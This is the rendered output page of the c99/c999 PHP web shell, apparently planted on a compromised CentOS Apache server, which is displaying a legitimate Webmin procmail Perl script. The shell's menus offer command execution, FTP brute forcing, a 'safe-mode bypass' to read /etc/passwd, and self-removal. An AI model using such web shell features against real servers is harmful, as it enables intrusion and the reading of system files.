!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/procmail/   drwxr-xr-x
Free 50.93 GB of 127.8 GB (39.85%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     save_recipe.cgi (2.58 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# save_recipe.cgi
# Create, update or delete a procmail recipe

require './procmail-lib.pl';
&ReadParse();
&lock_file($procmailrc);
@conf = &get_procmailrc();
$rec = $conf[$in{'idx'}] if (!$in{'new'});

if ($in{'delete'}) {
    # Just delete the recipe
    &delete_recipe($rec);
    }
else {
    # Validate inputs
    &error_setup($text{'save_err'});
    if ($in{'block'}) {
        # Conditional code block
        $in{'bdata'} =~ s/\r//g;
        $rec->{'block'} = $in{'bdata'};
        }
    else {
        # Normal action
        $in{'action'} =~ /\S/ ||
            &error($text{'save_eaction_'.$in{'amode'}});
        delete($rec->{'type'});
        if ($in{'amode'} == 0) {
            $rec->{'action'} = $in{'action'};
            }
        elsif ($in{'amode'} == 1) {
            $rec->{'action'} = $in{'action'}."/.";
            }
        elsif ($in{'amode'} == 2) {
            $rec->{'action'} = $in{'action'}."/";
            }
        elsif ($in{'amode'} == 3) {
            $rec->{'type'} = "!";
            $rec->{'action'} = $in{'action'};
            }
        elsif ($in{'amode'} == 6) {
            $rec->{'type'} = "=";
            $in{'action'} =~ /^(\S+)=(.*)$/ ||
                &error($text{'save_eactionvar'});
            $rec->{'action'} = $in{'action'};
            }
        else {
            $rec->{'type'} = "|";
            $rec->{'action'} = $in{'action'};
            }
        }

    map { $flag{$_}++ } split(/\0/, $in{'flag'});
    @flags = @{$rec->{'flags'}};
    foreach $f (@known_flags) {
        if ($flag{$f}) {
            push(@flags, $f);
            }
        else {
            @flags = grep { $_ ne $f } @flags;
            }
        }
    $rec->{'flags'} = [ &unique(@flags) ];

    if ($in{'lockfile_def'} == 1) {
        delete($rec->{'lockfile'});
        }
    elsif ($in{'lockfile_def'} == 2) {
        $rec->{'lockfile'} = "";
        }
    else {
        $in{'lockfile'} =~ /\S/ || &error($text{'save_elockfile'});
        $rec->{'lockfile'} = $in{'lockfile'};
        }

    for($i=0; defined($m = $in{"cmode_$i"}); $i++) {
        next if ($m eq '-');
        $c = $in{"cond_$i"};
        if ($m eq '<' || $m eq '>') {
            $c =~ /^\d+$/ || &error(&text('save_esize', $i+1));
            }
        elsif ($m eq '$' || $m eq '?') {
            $c =~ /\S/ || &error(&text('save_eshell', $i+1));
            }
        else {
            $c =~ /\S/ || &error(&text('save_ere', $i+1));
            }
        push(@conds, [ $m, $c ]);
        }
    $rec->{'conds'} = \@conds;

    # Save the receipe
    if ($in{'new'}) {
        if ($in{'before'} ne '') {
            $before = $conf[$in{'before'}];
            &create_recipe_before($rec, $before);
            }
        elsif ($in{'after'} ne '') {
            if ($in{'after'} == @conf-1) {
                &create_recipe($rec);
                }
            else {
                $before = $conf[$in{'after'}+1];
                &create_recipe_before($rec, $before);
                }
            }
        else {
            &create_recipe($rec);
            }
        }
    else {
        &modify_recipe($rec);
        }
    }
&unlock_file($procmailrc);
&webmin_log($in{'delete'} ? "delete" : $in{'new'} ? "create" : "modify",
        "recipe", undef, $rec);
&redirect("");


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0137 ]--